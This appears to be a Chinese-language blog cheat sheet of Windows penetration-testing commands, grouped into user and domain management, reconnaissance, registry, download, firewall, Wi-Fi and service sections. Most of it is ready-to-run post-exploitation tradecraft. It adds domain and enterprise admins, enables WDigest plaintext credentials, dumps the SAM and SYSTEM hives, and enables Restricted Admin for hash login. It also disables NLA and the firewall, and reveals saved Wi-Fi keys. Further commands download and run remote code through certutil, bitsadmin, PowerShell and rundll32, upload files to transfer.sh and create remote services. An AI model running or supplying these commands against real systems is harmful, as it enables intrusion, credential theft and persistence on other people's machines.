本文主要是介绍渗透测试中Windows常用系统命令总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
简介
在实际的渗透测试过程中,对操作系统的熟练操作及其重要,但是熟练操作的前提就是需要对系统命令进行熟练掌握,Windows系统命令繁多,渗透测试过程中也需要用到很多的系统命令,这里对常用的系统命令进行总结,可用于渗透测试学习过程中的快速查阅.
net命令
查看用户列表: net userpowershell查看用户列表: Get-WmiObject -Class Win32_UserAccount查看用户组列表: net localgroup查看管理组列表: net localgroup Administrators添加用户并设置密码: net user 用户名 密码 /add将用户加入管理组: net localgroup Administrators 用户名 /add将用户加入桌面组: net localgroup "Remote Desktop Users" 用户名 /add激活用户: net user 用户名 /active:yes更改用户的密码: net user 用户名 密码将用户加入管理组: net localgroup administrators 用户名 /add将用户加入桌面组: net localgroup "Remote Desktop Users" 用户名 /add查看本地密码策略: net accounts查看当前会话: net session建立IPC会话: net use \\127.0.0.1\c$ "密码" /user:"domain\Administrator"
域渗透命令
查看当前用户权限: whoami /user可知域名为和其他信息: net config workstation查询域用户:net user /domain添加域用户: net user 用户名 密码 /add /domain添加域管理员: net group "domain admins" 用户名 /add /domain添加企业管理员: net group "enterprise admins" 用户名 /add /domain查询域管理员用户:net group "domain admins" /domain查询域企业管理组: net group "enterprise admins" /domain查询域本地管理组: net localgroup administrators /domain查询域控制器和时间:net time /domain查询域名称:net view /domain查询域内计算机:net view /domain:redteam.local查看当前域内计算机列表: net group "domain computers" /domain查看域控机器名: net group "domain controllers" /domain查看域密码策略: net accounts /domain查看域信任: nltest /domain_trusts查看某个域的域信任: nltest /domain_trusts /all_trusts /v /server:ip通过srv记录: nslookup -type=SRV _ldap._tcp.corp
信息收集相关命令
查看当前用户的安全特权: whoami /priv查看当前用户: whoami /user查看当前登陆用户: query user && quser查看系统版本和补丁信息: systeminfo查看系统开放端口: netstat -ano查看系统进程: tasklist /svc列出详细进程: tasklist /V && tasklist /V /FO CSV查看ip地址和dns信息: ipconfig /all查看当前用户保存的凭证: cmdkey /list查看路由信息:route print查看arp列表: arp -a查看当前用户保存的票据凭证: klist列出c盘Users文件夹: dir /b c:\Users搜索D盘磁盘名字为header.jpg的文件: cd /d D:\ && dir /b /s header.jpg搜素C盘文件夹下后缀conf内容有password: findstr /s /i /n /d:C:\ "password" *.conf查找Windows目录下面的Bluetooth.dll文件: where /R C:\windows Bluetooth.dll查看3389端口: for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq TermService" /NH') do netstat -ano | findstr %i | findstr LISTENINGWindows存储的凭证: rundll32 keymgr.dll,KRShowKeyMgr
注册表相关命令
LocalAccountTokenFilterPolicy-启用任何管理员用户横向:reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f查看3389端口:REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber开启远程桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /fwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1注册表抓取明文:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /frdp连接默认的10个记录:reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"rdp连接默认的所有记录:reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s查找软件安装目录:reg query HKLM /f foxmail /t REG_SZ /sreg导出注册表hash:reg save hklm\sam c:\programdata\sam.hive && reg save hklm\system c:\programdata\system.hivehash登录利用“Restricted Admin Mode“特性:
新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f查看是否开启DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"然后如果hash正确就可以登录目标主机mstsc.exe /restrictedadminCredSSP 加密数据库修正:reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /f /v AllowEncryptionOracle /t REG_DWORD /d 2取消仅允许运行使用网络识别身份验证的远程桌面的计算机连接(NLA):REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /f /d 0
系统下载相关命令
windows2003默认文件:Blob0_0.bin //可以正常执行certutil下载文件:certutil -urlcache -split -f http://127.0.0.1:8080/nc.txt c:\nc.txtcertutil删除记录:certutil -urlcache -split -f http://127.0.0.1:8080/nc.txt deletebitsadmin下载文件:bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\Pstools.zippowershell下载文件:powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/nc.txt','nc.exe')msedge下载并执行:cmd /c start /min msedge.exe http://127.0.0.1/test.zip && timeout 5 && taskkill /f /t /im msedge.exe && C:/Users/%UserName%/Downloads/test.ziprundll32下载文件rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.3.150/chfs/shared/1Z3.exe",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
设置网卡netsh和防火墙信息
查看网卡信息netsh interface show interface设置主dnsnetsh interface ip set dns "以太网" static 114.114.114.114 primary设置备dnsnetsh interface ip add dns "以太网" 8.8.8.8查看防火墙状态netsh advfirewall show allprofiles防火墙恢复默认配置netsh firewall reset开启防火墙netSh Advfirewall set allprofiles state on关闭防火墙netSh Advfirewall set allprofiles state off放行3389端口netsh advfirewall firewall add rule name=3389_test dir=in action=allow protocol=TCP localport=3389
查看本机WiFi信息和配置
查看当前用户wifi配置文件:netsh wlan show profiles查看当前连接的wifi:netsh wlan show interface查看本机WiFi配置和密码:netsh wlan show profile "ssid" key=clear枚举所有连接过的wifi:for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear连接他配置文件的其它wifi:netsh wlan connect name=ssid文件上传:curl -k --upload-file win.exe https://transfer.sh --progress-barsc命令:创建服务: sc \\127.0.0.1 create Emeripe binPath= "cmd.exe /c start c:\programdata\info.bat"
启动服务: sc \\127.0.0.1 start Emeripe
删除服务: sc \\127.0.0.1 delete Emeripe远程桌面登录到 console 会话解决 hash 无法抓出问题:mstsc /admin将用户会话连接到远程桌面会话:tscon ID(quser)根据进程名字终止进程:taskkill /f /t /im msedge.exe根据进程pid终止进程:taskkill /f /pid 17676tasklist查看远程主机进程:tasklist /s 192.168.3.200 /u Aadministrator /p Password
tasklist /s 192.168.3.110 /u offensive\administrator /P Password /Vrunas启动其它用户进程:runas /user:administrator /savecred "cmd.exe /k whoami"windows开机启动路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
希望这些命令对大家学习网络安全有实质性的帮助!
这篇关于渗透测试中Windows常用系统命令总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!